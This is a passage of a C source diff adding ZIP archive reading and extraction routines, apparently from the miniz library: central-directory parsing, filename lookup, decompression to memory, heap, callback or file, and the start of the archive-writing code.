*pOpaque, mz_uint64 file_ofs, void *pBuf, size_t n) +{ + mz_zip_archive *pZip = (mz_zip_archive *)pOpaque; + mz_int64 cur_ofs = MZ_FTELL64(pZip->m_pState->m_pFile); + if (((mz_int64)file_ofs < 0) || (((cur_ofs != (mz_int64)file_ofs)) && (MZ_FSEEK64(pZip->m_pState->m_pFile, (mz_int64)file_ofs, SEEK_SET)))) + return 0; + return MZ_FREAD(pBuf, 1, n, pZip->m_pState->m_pFile); +} + +mz_bool mz_zip_reader_init_file(mz_zip_archive *pZip, const char *pFilename, mz_uint32 flags) +{ + mz_uint64 file_size; + MZ_FILE *pFile = MZ_FOPEN(pFilename, "rb"); + if (!pFile) + return MZ_FALSE; + if (MZ_FSEEK64(pFile, 0, SEEK_END)) + { + MZ_FCLOSE(pFile); + return MZ_FALSE; + } + file_size = MZ_FTELL64(pFile); + if (!mz_zip_reader_init_internal(pZip, flags)) + { + MZ_FCLOSE(pFile); + return MZ_FALSE; + } + pZip->m_pRead = mz_zip_file_read_func; + pZip->m_pIO_opaque = pZip; + pZip->m_pState->m_pFile = pFile; + pZip->m_archive_size = file_size; + if (!mz_zip_reader_read_central_dir(pZip, flags)) + { + mz_zip_reader_end(pZip); + return MZ_FALSE; + } + return MZ_TRUE; +} +#endif // #ifndef MINIZ_NO_STDIO + +mz_uint mz_zip_reader_get_num_files(mz_zip_archive *pZip) +{ + return pZip ? pZip->m_total_files : 0; +} + +static MZ_FORCEINLINE const mz_uint8 *mz_zip_reader_get_cdh(mz_zip_archive *pZip, mz_uint file_index) +{ + if ((!pZip) || (!pZip->m_pState) || (file_index >= pZip->m_total_files) || (pZip->m_zip_mode != MZ_ZIP_MODE_READING)) + return NULL; + return &MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_central_dir, mz_uint8, MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_central_dir_offsets, mz_uint32, file_index)); +} + +mz_bool mz_zip_reader_is_file_encrypted(mz_zip_archive *pZip, mz_uint file_index) +{ + mz_uint m_bit_flag; + const mz_uint8 *p = mz_zip_reader_get_cdh(pZip, file_index); + if (!p) + return MZ_FALSE; + m_bit_flag = MZ_READ_LE16(p + MZ_ZIP_CDH_BIT_FLAG_OFS); + return (m_bit_flag & 1); +} + +mz_bool mz_zip_reader_is_file_a_directory(mz_zip_archive *pZip, mz_uint file_index) +{ + mz_uint filename_len, external_attr; + const mz_uint8 *p = mz_zip_reader_get_cdh(pZip, file_index); + if (!p) + return MZ_FALSE; + + // First see if the filename ends with a '/' character. + filename_len = MZ_READ_LE16(p + MZ_ZIP_CDH_FILENAME_LEN_OFS); + if (filename_len) + { + if (*(p + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + filename_len - 1) == '/') + return MZ_TRUE; + } + + // Bugfix: This code was also checking if the internal attribute was non-zero, which wasn't correct. + // Most/all zip writers (hopefully) set DOS file/directory attributes in the low 16-bits, so check for the DOS directory flag and ignore the source OS ID in the created by field. + // FIXME: Remove this check? Is it necessary - we already check the filename. + external_attr = MZ_READ_LE32(p + MZ_ZIP_CDH_EXTERNAL_ATTR_OFS); + if ((external_attr & 0x10) != 0) + return MZ_TRUE; + + return MZ_FALSE; +} + +mz_bool mz_zip_reader_file_stat(mz_zip_archive *pZip, mz_uint file_index, mz_zip_archive_file_stat *pStat) +{ + mz_uint n; + const mz_uint8 *p = mz_zip_reader_get_cdh(pZip, file_index); + if ((!p) || (!pStat)) + return MZ_FALSE; + + // Unpack the central directory record. + pStat->m_file_index = file_index; + pStat->m_central_dir_ofs = MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_central_dir_offsets, mz_uint32, file_index); + pStat->m_version_made_by = MZ_READ_LE16(p + MZ_ZIP_CDH_VERSION_MADE_BY_OFS); + pStat->m_version_needed = MZ_READ_LE16(p + MZ_ZIP_CDH_VERSION_NEEDED_OFS); + pStat->m_bit_flag = MZ_READ_LE16(p + MZ_ZIP_CDH_BIT_FLAG_OFS); + pStat->m_method = MZ_READ_LE16(p + MZ_ZIP_CDH_METHOD_OFS); +#ifndef MINIZ_NO_TIME + pStat->m_time = mz_zip_dos_to_time_t(MZ_READ_LE16(p + MZ_ZIP_CDH_FILE_TIME_OFS), MZ_READ_LE16(p + MZ_ZIP_CDH_FILE_DATE_OFS)); +#endif + pStat->m_crc32 = MZ_READ_LE32(p + MZ_ZIP_CDH_CRC32_OFS); + pStat->m_comp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_COMPRESSED_SIZE_OFS); + pStat->m_uncomp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_DECOMPRESSED_SIZE_OFS); + pStat->m_internal_attr = MZ_READ_LE16(p + MZ_ZIP_CDH_INTERNAL_ATTR_OFS); + pStat->m_external_attr = MZ_READ_LE32(p + MZ_ZIP_CDH_EXTERNAL_ATTR_OFS); + pStat->m_local_header_ofs = MZ_READ_LE32(p + MZ_ZIP_CDH_LOCAL_HEADER_OFS); + + // Copy as much of the filename and comment as possible. + n = MZ_READ_LE16(p + MZ_ZIP_CDH_FILENAME_LEN_OFS); n = MZ_MIN(n, MZ_ZIP_MAX_ARCHIVE_FILENAME_SIZE - 1); + memcpy(pStat->m_filename, p + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE, n); pStat->m_filename[n] = '\0'; + + n = MZ_READ_LE16(p + MZ_ZIP_CDH_COMMENT_LEN_OFS); n = MZ_MIN(n, MZ_ZIP_MAX_ARCHIVE_FILE_COMMENT_SIZE - 1); + pStat->m_comment_size = n; + memcpy(pStat->m_comment, p + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + MZ_READ_LE16(p + MZ_ZIP_CDH_FILENAME_LEN_OFS) + MZ_READ_LE16(p + MZ_ZIP_CDH_EXTRA_LEN_OFS), n); pStat->m_comment[n] = '\0'; + + return MZ_TRUE; +} + +mz_uint mz_zip_reader_get_filename(mz_zip_archive *pZip, mz_uint file_index, char *pFilename, mz_uint filename_buf_size) +{ + mz_uint n; + const mz_uint8 *p = mz_zip_reader_get_cdh(pZip, file_index); + if (!p) { if (filename_buf_size) pFilename[0] = '\0'; return 0; } + n = MZ_READ_LE16(p + MZ_ZIP_CDH_FILENAME_LEN_OFS); + if (filename_buf_size) + { + n = MZ_MIN(n, filename_buf_size - 1); + memcpy(pFilename, p + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE, n); + pFilename[n] = '\0'; + } + return n + 1; +} + +static MZ_FORCEINLINE mz_bool mz_zip_reader_string_equal(const char *pA, const char *pB, mz_uint len, mz_uint flags) +{ + mz_uint i; + if (flags & MZ_ZIP_FLAG_CASE_SENSITIVE) + return 0 == memcmp(pA, pB, len); + for (i = 0; i < len; ++i) + if (MZ_TOLOWER(pA[i]) != MZ_TOLOWER(pB[i])) + return MZ_FALSE; + return MZ_TRUE; +} + +static MZ_FORCEINLINE int mz_zip_reader_filename_compare(const mz_zip_array *pCentral_dir_array, const mz_zip_array *pCentral_dir_offsets, mz_uint l_index, const char *pR, mz_uint r_len) +{ + const mz_uint8 *pL = &MZ_ZIP_ARRAY_ELEMENT(pCentral_dir_array, mz_uint8, MZ_ZIP_ARRAY_ELEMENT(pCentral_dir_offsets, mz_uint32, l_index)), *pE; + mz_uint l_len = MZ_READ_LE16(pL + MZ_ZIP_CDH_FILENAME_LEN_OFS); + mz_uint8 l = 0, r = 0; + pL += MZ_ZIP_CENTRAL_DIR_HEADER_SIZE; + pE = pL + MZ_MIN(l_len, r_len); + while (pL < pE) + { + if ((l = MZ_TOLOWER(*pL)) != (r = MZ_TOLOWER(*pR))) + break; + pL++; pR++; + } + return (pL == pE) ? (int)(l_len - r_len) : (l - r); +} + +static int mz_zip_reader_locate_file_binary_search(mz_zip_archive *pZip, const char *pFilename) +{ + mz_zip_internal_state *pState = pZip->m_pState; + const mz_zip_array *pCentral_dir_offsets = &pState->m_central_dir_offsets; + const mz_zip_array *pCentral_dir = &pState->m_central_dir; + mz_uint32 *pIndices = &MZ_ZIP_ARRAY_ELEMENT(&pState->m_sorted_central_dir_offsets, mz_uint32, 0); + const int size = pZip->m_total_files; + const mz_uint filename_len = (mz_uint)strlen(pFilename); + int l = 0, h = size - 1; + while (l <= h) + { + int m = (l + h) >> 1, file_index = pIndices[m], comp = mz_zip_reader_filename_compare(pCentral_dir, pCentral_dir_offsets, file_index, pFilename, filename_len); + if (!comp) + return file_index; + else if (comp < 0) + l = m + 1; + else + h = m - 1; + } + return -1; +} + +int mz_zip_reader_locate_file(mz_zip_archive *pZip, const char *pName, const char *pComment, mz_uint flags) +{ + mz_uint file_index; size_t name_len, comment_len; + if ((!pZip) || (!pZip->m_pState) || (!pName) || (pZip->m_zip_mode != MZ_ZIP_MODE_READING)) + return -1; + if (((flags & (MZ_ZIP_FLAG_IGNORE_PATH | MZ_ZIP_FLAG_CASE_SENSITIVE)) == 0) && (!pComment) && (pZip->m_pState->m_sorted_central_dir_offsets.m_size)) + return mz_zip_reader_locate_file_binary_search(pZip, pName); + name_len = strlen(pName); if (name_len > 0xFFFF) return -1; + comment_len = pComment ? strlen(pComment) : 0; if (comment_len > 0xFFFF) return -1; + for (file_index = 0; file_index < pZip->m_total_files; file_index++) + { + const mz_uint8 *pHeader = &MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_central_dir, mz_uint8, MZ_ZIP_ARRAY_ELEMENT(&pZip->m_pState->m_central_dir_offsets, mz_uint32, file_index)); + mz_uint filename_len = MZ_READ_LE16(pHeader + MZ_ZIP_CDH_FILENAME_LEN_OFS); + const char *pFilename = (const char *)pHeader + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE; + if (filename_len < name_len) + continue; + if (comment_len) + { + mz_uint file_extra_len = MZ_READ_LE16(pHeader + MZ_ZIP_CDH_EXTRA_LEN_OFS), file_comment_len = MZ_READ_LE16(pHeader + MZ_ZIP_CDH_COMMENT_LEN_OFS); + const char *pFile_comment = pFilename + filename_len + file_extra_len; + if ((file_comment_len != comment_len) || (!mz_zip_reader_string_equal(pComment, pFile_comment, file_comment_len, flags))) + continue; + } + if ((flags & MZ_ZIP_FLAG_IGNORE_PATH) && (filename_len)) + { + int ofs = filename_len - 1; + do + { + if ((pFilename[ofs] == '/') || (pFilename[ofs] == '\\') || (pFilename[ofs] == ':')) + break; + } while (--ofs >= 0); + ofs++; + pFilename += ofs; filename_len -= ofs; + } + if ((filename_len == name_len) && (mz_zip_reader_string_equal(pName, pFilename, filename_len, flags))) + return file_index; + } + return -1; +} + +mz_bool mz_zip_reader_extract_to_mem_no_alloc(mz_zip_archive *pZip, mz_uint file_index, void *pBuf, size_t buf_size, mz_uint flags, void *pUser_read_buf, size_t user_read_buf_size) +{ + int status = TINFL_STATUS_DONE; + mz_uint64 needed_size, cur_file_ofs, comp_remaining, out_buf_ofs = 0, read_buf_size, read_buf_ofs = 0, read_buf_avail; + mz_zip_archive_file_stat file_stat; + void *pRead_buf; + mz_uint32 local_header_u32[(MZ_ZIP_LOCAL_DIR_HEADER_SIZE + sizeof(mz_uint32) - 1) / sizeof(mz_uint32)]; mz_uint8 *pLocal_header = (mz_uint8 *)local_header_u32; + tinfl_decompressor inflator; + + if ((buf_size) && (!pBuf)) + return MZ_FALSE; + + if (!mz_zip_reader_file_stat(pZip, file_index, &file_stat)) + return MZ_FALSE; + + // Empty file, or a directory (but not always a directory - I've seen odd zips with directories that have compressed data which inflates to 0 bytes) + if (!file_stat.m_comp_size) + return MZ_TRUE; + + // Entry is a subdirectory (I've seen old zips with dir entries which have compressed deflate data which inflates to 0 bytes, but these entries claim to uncompress to 512 bytes in the headers). + // I'm torn how to handle this case - should it fail instead? + if (mz_zip_reader_is_file_a_directory(pZip, file_index)) + return MZ_TRUE; + + // Encryption and patch files are not supported. + if (file_stat.m_bit_flag & (1 | 32)) + return MZ_FALSE; + + // This function only supports stored and deflate. + if ((!(flags & MZ_ZIP_FLAG_COMPRESSED_DATA)) && (file_stat.m_method != 0) && (file_stat.m_method != MZ_DEFLATED)) + return MZ_FALSE; + + // Ensure supplied output buffer is large enough. + needed_size = (flags & MZ_ZIP_FLAG_COMPRESSED_DATA) ? file_stat.m_comp_size : file_stat.m_uncomp_size; + if (buf_size < needed_size) + return MZ_FALSE; + + // Read and parse the local directory entry. + cur_file_ofs = file_stat.m_local_header_ofs; + if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pLocal_header, MZ_ZIP_LOCAL_DIR_HEADER_SIZE) != MZ_ZIP_LOCAL_DIR_HEADER_SIZE) + return MZ_FALSE; + if (MZ_READ_LE32(pLocal_header) != MZ_ZIP_LOCAL_DIR_HEADER_SIG) + return MZ_FALSE; + + cur_file_ofs += MZ_ZIP_LOCAL_DIR_HEADER_SIZE + MZ_READ_LE16(pLocal_header + MZ_ZIP_LDH_FILENAME_LEN_OFS) + MZ_READ_LE16(pLocal_header + MZ_ZIP_LDH_EXTRA_LEN_OFS); + if ((cur_file_ofs + file_stat.m_comp_size) > pZip->m_archive_size) + return MZ_FALSE; + + if ((flags & MZ_ZIP_FLAG_COMPRESSED_DATA) || (!file_stat.m_method)) + { + // The file is stored or the caller has requested the compressed data. + if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pBuf, (size_t)needed_size) != needed_size) + return MZ_FALSE; + return ((flags & MZ_ZIP_FLAG_COMPRESSED_DATA) != 0) || (mz_crc32(MZ_CRC32_INIT, (const mz_uint8 *)pBuf, (size_t)file_stat.m_uncomp_size) == file_stat.m_crc32); + } + + // Decompress the file either directly from memory or from a file input buffer. + tinfl_init(&inflator); + + if (pZip->m_pState->m_pMem) + { + // Read directly from the archive in memory. + pRead_buf = (mz_uint8 *)pZip->m_pState->m_pMem + cur_file_ofs; + read_buf_size = read_buf_avail = file_stat.m_comp_size; + comp_remaining = 0; + } + else if (pUser_read_buf) + { + // Use a user provided read buffer. + if (!user_read_buf_size) + return MZ_FALSE; + pRead_buf = (mz_uint8 *)pUser_read_buf; + read_buf_size = user_read_buf_size; + read_buf_avail = 0; + comp_remaining = file_stat.m_comp_size; + } + else + { + // Temporarily allocate a read buffer. + read_buf_size = MZ_MIN(file_stat.m_comp_size, MZ_ZIP_MAX_IO_BUF_SIZE); +#ifdef _MSC_VER + if (((0, sizeof(size_t) == sizeof(mz_uint32))) && (read_buf_size > 0x7FFFFFFF)) +#else + if (((sizeof(size_t) == sizeof(mz_uint32))) && (read_buf_size > 0x7FFFFFFF)) +#endif + return MZ_FALSE; + if (NULL == (pRead_buf = pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, (size_t)read_buf_size))) + return MZ_FALSE; + read_buf_avail = 0; + comp_remaining = file_stat.m_comp_size; + } + + do + { + size_t in_buf_size, out_buf_size = (size_t)(file_stat.m_uncomp_size - out_buf_ofs); + if ((!read_buf_avail) && (!pZip->m_pState->m_pMem)) + { + read_buf_avail = MZ_MIN(read_buf_size, comp_remaining); + if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pRead_buf, (size_t)read_buf_avail) != read_buf_avail) + { + status = TINFL_STATUS_FAILED; + break; + } + cur_file_ofs += read_buf_avail; + comp_remaining -= read_buf_avail; + read_buf_ofs = 0; + } + in_buf_size = (size_t)read_buf_avail; + status = tinfl_decompress(&inflator, (mz_uint8 *)pRead_buf + read_buf_ofs, &in_buf_size, (mz_uint8 *)pBuf, (mz_uint8 *)pBuf + out_buf_ofs, &out_buf_size, TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF | (comp_remaining ? TINFL_FLAG_HAS_MORE_INPUT : 0)); + read_buf_avail -= in_buf_size; + read_buf_ofs += in_buf_size; + out_buf_ofs += out_buf_size; + } while (status == TINFL_STATUS_NEEDS_MORE_INPUT); + + if (status == TINFL_STATUS_DONE) + { + // Make sure the entire file was decompressed, and check its CRC. + if ((out_buf_ofs != file_stat.m_uncomp_size) || (mz_crc32(MZ_CRC32_INIT, (const mz_uint8 *)pBuf, (size_t)file_stat.m_uncomp_size) != file_stat.m_crc32)) + status = TINFL_STATUS_FAILED; + } + + if ((!pZip->m_pState->m_pMem) && (!pUser_read_buf)) + pZip->m_pFree(pZip->m_pAlloc_opaque, pRead_buf); + + return status == TINFL_STATUS_DONE; +} + +mz_bool mz_zip_reader_extract_file_to_mem_no_alloc(mz_zip_archive *pZip, const char *pFilename, void *pBuf, size_t buf_size, mz_uint flags, void *pUser_read_buf, size_t user_read_buf_size) +{ + int file_index = mz_zip_reader_locate_file(pZip, pFilename, NULL, flags); + if (file_index < 0) + return MZ_FALSE; + return mz_zip_reader_extract_to_mem_no_alloc(pZip, file_index, pBuf, buf_size, flags, pUser_read_buf, user_read_buf_size); +} + +mz_bool mz_zip_reader_extract_to_mem(mz_zip_archive *pZip, mz_uint file_index, void *pBuf, size_t buf_size, mz_uint flags) +{ + return mz_zip_reader_extract_to_mem_no_alloc(pZip, file_index, pBuf, buf_size, flags, NULL, 0); +} + +mz_bool mz_zip_reader_extract_file_to_mem(mz_zip_archive *pZip, const char *pFilename, void *pBuf, size_t buf_size, mz_uint flags) +{ + return mz_zip_reader_extract_file_to_mem_no_alloc(pZip, pFilename, pBuf, buf_size, flags, NULL, 0); +} + +void *mz_zip_reader_extract_to_heap(mz_zip_archive *pZip, mz_uint file_index, size_t *pSize, mz_uint flags) +{ + mz_uint64 comp_size, uncomp_size, alloc_size; + const mz_uint8 *p = mz_zip_reader_get_cdh(pZip, file_index); + void *pBuf; + + if (pSize) + *pSize = 0; + if (!p) + return NULL; + + comp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_COMPRESSED_SIZE_OFS); + uncomp_size = MZ_READ_LE32(p + MZ_ZIP_CDH_DECOMPRESSED_SIZE_OFS); + + alloc_size = (flags & MZ_ZIP_FLAG_COMPRESSED_DATA) ? comp_size : uncomp_size; +#ifdef _MSC_VER + if (((0, sizeof(size_t) == sizeof(mz_uint32))) && (alloc_size > 0x7FFFFFFF)) +#else + if (((sizeof(size_t) == sizeof(mz_uint32))) && (alloc_size > 0x7FFFFFFF)) +#endif + return NULL; + if (NULL == (pBuf = pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, (size_t)alloc_size))) + return NULL; + + if (!mz_zip_reader_extract_to_mem(pZip, file_index, pBuf, (size_t)alloc_size, flags)) + { + pZip->m_pFree(pZip->m_pAlloc_opaque, pBuf); + return NULL; + } + + if (pSize) *pSize = (size_t)alloc_size; + return pBuf; +} + +void *mz_zip_reader_extract_file_to_heap(mz_zip_archive *pZip, const char *pFilename, size_t *pSize, mz_uint flags) +{ + int file_index = mz_zip_reader_locate_file(pZip, pFilename, NULL, flags); + if (file_index < 0) + { + if (pSize) *pSize = 0; + return MZ_FALSE; + } + return mz_zip_reader_extract_to_heap(pZip, file_index, pSize, flags); +} + +mz_bool mz_zip_reader_extract_to_callback(mz_zip_archive *pZip, mz_uint file_index, mz_file_write_func pCallback, void *pOpaque, mz_uint flags) +{ + int status = TINFL_STATUS_DONE; mz_uint file_crc32 = MZ_CRC32_INIT; + mz_uint64 read_buf_size, read_buf_ofs = 0, read_buf_avail, comp_remaining, out_buf_ofs = 0, cur_file_ofs; + mz_zip_archive_file_stat file_stat; + void *pRead_buf = NULL; void *pWrite_buf = NULL; + mz_uint32 local_header_u32[(MZ_ZIP_LOCAL_DIR_HEADER_SIZE + sizeof(mz_uint32) - 1) / sizeof(mz_uint32)]; mz_uint8 *pLocal_header = (mz_uint8 *)local_header_u32; + + if (!mz_zip_reader_file_stat(pZip, file_index, &file_stat)) + return MZ_FALSE; + + // Empty file, or a directory (but not always a directory - I've seen odd zips with directories that have compressed data which inflates to 0 bytes) + if (!file_stat.m_comp_size) + return MZ_TRUE; + + // Entry is a subdirectory (I've seen old zips with dir entries which have compressed deflate data which inflates to 0 bytes, but these entries claim to uncompress to 512 bytes in the headers). + // I'm torn how to handle this case - should it fail instead? + if (mz_zip_reader_is_file_a_directory(pZip, file_index)) + return MZ_TRUE; + + // Encryption and patch files are not supported. + if (file_stat.m_bit_flag & (1 | 32)) + return MZ_FALSE; + + // This function only supports stored and deflate. + if ((!(flags & MZ_ZIP_FLAG_COMPRESSED_DATA)) && (file_stat.m_method != 0) && (file_stat.m_method != MZ_DEFLATED)) + return MZ_FALSE; + + // Read and parse the local directory entry. + cur_file_ofs = file_stat.m_local_header_ofs; + if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pLocal_header, MZ_ZIP_LOCAL_DIR_HEADER_SIZE) != MZ_ZIP_LOCAL_DIR_HEADER_SIZE) + return MZ_FALSE; + if (MZ_READ_LE32(pLocal_header) != MZ_ZIP_LOCAL_DIR_HEADER_SIG) + return MZ_FALSE; + + cur_file_ofs += MZ_ZIP_LOCAL_DIR_HEADER_SIZE + MZ_READ_LE16(pLocal_header + MZ_ZIP_LDH_FILENAME_LEN_OFS) + MZ_READ_LE16(pLocal_header + MZ_ZIP_LDH_EXTRA_LEN_OFS); + if ((cur_file_ofs + file_stat.m_comp_size) > pZip->m_archive_size) + return MZ_FALSE; + + // Decompress the file either directly from memory or from a file input buffer. + if (pZip->m_pState->m_pMem) + { + pRead_buf = (mz_uint8 *)pZip->m_pState->m_pMem + cur_file_ofs; + read_buf_size = read_buf_avail = file_stat.m_comp_size; + comp_remaining = 0; + } + else + { + read_buf_size = MZ_MIN(file_stat.m_comp_size, MZ_ZIP_MAX_IO_BUF_SIZE); + if (NULL == (pRead_buf = pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, (size_t)read_buf_size))) + return MZ_FALSE; + read_buf_avail = 0; + comp_remaining = file_stat.m_comp_size; + } + + if ((flags & MZ_ZIP_FLAG_COMPRESSED_DATA) || (!file_stat.m_method)) + { + // The file is stored or the caller has requested the compressed data. + if (pZip->m_pState->m_pMem) + { +#ifdef _MSC_VER + if (((0, sizeof(size_t) == sizeof(mz_uint32))) && (file_stat.m_comp_size > 0xFFFFFFFF)) +#else + if (((sizeof(size_t) == sizeof(mz_uint32))) && (file_stat.m_comp_size > 0xFFFFFFFF)) +#endif + return MZ_FALSE; + if (pCallback(pOpaque, out_buf_ofs, pRead_buf, (size_t)file_stat.m_comp_size) != file_stat.m_comp_size) + status = TINFL_STATUS_FAILED; + else if (!(flags & MZ_ZIP_FLAG_COMPRESSED_DATA)) + file_crc32 = (mz_uint32)mz_crc32(file_crc32, (const mz_uint8 *)pRead_buf, (size_t)file_stat.m_comp_size); + cur_file_ofs += file_stat.m_comp_size; + out_buf_ofs += file_stat.m_comp_size; + comp_remaining = 0; + } + else + { + while (comp_remaining) + { + read_buf_avail = MZ_MIN(read_buf_size, comp_remaining); + if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pRead_buf, (size_t)read_buf_avail) != read_buf_avail) + { + status = TINFL_STATUS_FAILED; + break; + } + + if (!(flags & MZ_ZIP_FLAG_COMPRESSED_DATA)) + file_crc32 = (mz_uint32)mz_crc32(file_crc32, (const mz_uint8 *)pRead_buf, (size_t)read_buf_avail); + + if (pCallback(pOpaque, out_buf_ofs, pRead_buf, (size_t)read_buf_avail) != read_buf_avail) + { + status = TINFL_STATUS_FAILED; + break; + } + cur_file_ofs += read_buf_avail; + out_buf_ofs += read_buf_avail; + comp_remaining -= read_buf_avail; + } + } + } + else + { + tinfl_decompressor inflator; + tinfl_init(&inflator); + + if (NULL == (pWrite_buf = pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, TINFL_LZ_DICT_SIZE))) + status = TINFL_STATUS_FAILED; + else + { + do + { + mz_uint8 *pWrite_buf_cur = (mz_uint8 *)pWrite_buf + (out_buf_ofs & (TINFL_LZ_DICT_SIZE - 1)); + size_t in_buf_size, out_buf_size = TINFL_LZ_DICT_SIZE - (out_buf_ofs & (TINFL_LZ_DICT_SIZE - 1)); + if ((!read_buf_avail) && (!pZip->m_pState->m_pMem)) + { + read_buf_avail = MZ_MIN(read_buf_size, comp_remaining); + if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pRead_buf, (size_t)read_buf_avail) != read_buf_avail) + { + status = TINFL_STATUS_FAILED; + break; + } + cur_file_ofs += read_buf_avail; + comp_remaining -= read_buf_avail; + read_buf_ofs = 0; + } + + in_buf_size = (size_t)read_buf_avail; + status = tinfl_decompress(&inflator, (const mz_uint8 *)pRead_buf + read_buf_ofs, &in_buf_size, (mz_uint8 *)pWrite_buf, pWrite_buf_cur, &out_buf_size, comp_remaining ? TINFL_FLAG_HAS_MORE_INPUT : 0); + read_buf_avail -= in_buf_size; + read_buf_ofs += in_buf_size; + + if (out_buf_size) + { + if (pCallback(pOpaque, out_buf_ofs, pWrite_buf_cur, out_buf_size) != out_buf_size) + { + status = TINFL_STATUS_FAILED; + break; + } + file_crc32 = (mz_uint32)mz_crc32(file_crc32, pWrite_buf_cur, out_buf_size); + if ((out_buf_ofs += out_buf_size) > file_stat.m_uncomp_size) + { + status = TINFL_STATUS_FAILED; + break; + } + } + } while ((status == TINFL_STATUS_NEEDS_MORE_INPUT) || (status == TINFL_STATUS_HAS_MORE_OUTPUT)); + } + } + + if ((status == TINFL_STATUS_DONE) && (!(flags & MZ_ZIP_FLAG_COMPRESSED_DATA))) + { + // Make sure the entire file was decompressed, and check its CRC. + if ((out_buf_ofs != file_stat.m_uncomp_size) || (file_crc32 != file_stat.m_crc32)) + status = TINFL_STATUS_FAILED; + } + + if (!pZip->m_pState->m_pMem) + pZip->m_pFree(pZip->m_pAlloc_opaque, pRead_buf); + if (pWrite_buf) + pZip->m_pFree(pZip->m_pAlloc_opaque, pWrite_buf); + + return status == TINFL_STATUS_DONE; +} + +mz_bool mz_zip_reader_extract_file_to_callback(mz_zip_archive *pZip, const char *pFilename, mz_file_write_func pCallback, void *pOpaque, mz_uint flags) +{ + int file_index = mz_zip_reader_locate_file(pZip, pFilename, NULL, flags); + if (file_index < 0) + return MZ_FALSE; + return mz_zip_reader_extract_to_callback(pZip, file_index, pCallback, pOpaque, flags); +} + +#ifndef MINIZ_NO_STDIO +static size_t mz_zip_file_write_callback(void *pOpaque, mz_uint64 ofs, const void *pBuf, size_t n) +{ + (void)ofs; return MZ_FWRITE(pBuf, 1, n, (MZ_FILE*)pOpaque); +} + +mz_bool mz_zip_reader_extract_to_file(mz_zip_archive *pZip, mz_uint file_index, const char *pDst_filename, mz_uint flags) +{ + mz_bool status; + mz_zip_archive_file_stat file_stat; + MZ_FILE *pFile; + if (!mz_zip_reader_file_stat(pZip, file_index, &file_stat)) + return MZ_FALSE; + pFile = MZ_FOPEN(pDst_filename, "wb"); + if (!pFile) + return MZ_FALSE; + status = mz_zip_reader_extract_to_callback(pZip, file_index, mz_zip_file_write_callback, pFile, flags); + if (MZ_FCLOSE(pFile) == EOF) + return MZ_FALSE; +#ifndef MINIZ_NO_TIME + if (status) + mz_zip_set_file_times(pDst_filename, file_stat.m_time, file_stat.m_time); +#endif + return status; +} +#endif // #ifndef MINIZ_NO_STDIO + +mz_bool mz_zip_reader_end(mz_zip_archive *pZip) +{ + if ((!pZip) || (!pZip->m_pState) || (!pZip->m_pAlloc) || (!pZip->m_pFree) || (pZip->m_zip_mode != MZ_ZIP_MODE_READING)) + return MZ_FALSE; + + if (pZip->m_pState) + { + mz_zip_internal_state *pState = pZip->m_pState; pZip->m_pState = NULL; + mz_zip_array_clear(pZip, &pState->m_central_dir); + mz_zip_array_clear(pZip, &pState->m_central_dir_offsets); + mz_zip_array_clear(pZip, &pState->m_sorted_central_dir_offsets); + +#ifndef MINIZ_NO_STDIO + if (pState->m_pFile) + { + MZ_FCLOSE(pState->m_pFile); + pState->m_pFile = NULL; + } +#endif // #ifndef MINIZ_NO_STDIO + + pZip->m_pFree(pZip->m_pAlloc_opaque, pState); + } + pZip->m_zip_mode = MZ_ZIP_MODE_INVALID; + + return MZ_TRUE; +} + +#ifndef MINIZ_NO_STDIO +mz_bool mz_zip_reader_extract_file_to_file(mz_zip_archive *pZip, const char *pArchive_filename, const char *pDst_filename, mz_uint flags) +{ + int file_index = mz_zip_reader_locate_file(pZip, pArchive_filename, NULL, flags); + if (file_index < 0) + return MZ_FALSE; + return mz_zip_reader_extract_to_file(pZip, file_index, pDst_filename, flags); +} +#endif + +// ------------------- .ZIP archive writing + +#ifndef MINIZ_NO_ARCHIVE_WRITING_APIS + +static void mz_write_le16(mz_uint8 *p, mz_uint16 v) { p[0] = (mz_uint8)v; p[1] = (mz_uint8)(v >> 8); } +static void mz_write_le32(mz_uint8 *p, mz_uint32 v) { p[0] = (mz_uint8)v; p[1] = (mz_uint8)(v >> 8); p[2] = (mz_uint8)(v >> 16); p[3] = (mz_uint8)(v >> 24); } +#define MZ_WRITE_LE16(p, v) mz_write_le16((mz_uint8 *)(p), (mz_uint16)(v)) +#define MZ_WRITE_LE32(p, v) mz_write_le32((mz_uint8 *)(p), (mz_uint32)(v)) + +mz_bool mz_zip_writer_init(mz_zip_archive *pZip, mz_uint64 existing_size) +{ + if ((!pZip) || (pZip->m_pState) || (!pZip->m_pWrite) || (pZip->m_zip_mode != MZ_ZIP_MODE_INVALID)) + return MZ_FALSE; + + if (pZip->m_file_offset_alignment) + { + // Ensure user specified file offset alignment is a power of 2. + if (pZip->m_file_offset_alignment & (pZip->m_file_offset_alignment - 1)) + return MZ_FALSE; + } + + if (!pZip->m_pAlloc) pZip->m_pAlloc = def_alloc_func; + if (!pZip->m_pFree) pZip->m_pFree = def_free_func; + if (!pZip->m_pRealloc) pZip->m_pRealloc = def_realloc_func; + + pZip->m_zip_mode = MZ_ZIP_MODE_WRITING; + pZip->m_archive_size = existing_size; + pZip->m_central_directory_file_ofs = 0; + pZip->m_total_files = 0; + + if (NULL == (pZip->m_pState = (mz_zip_internal_state 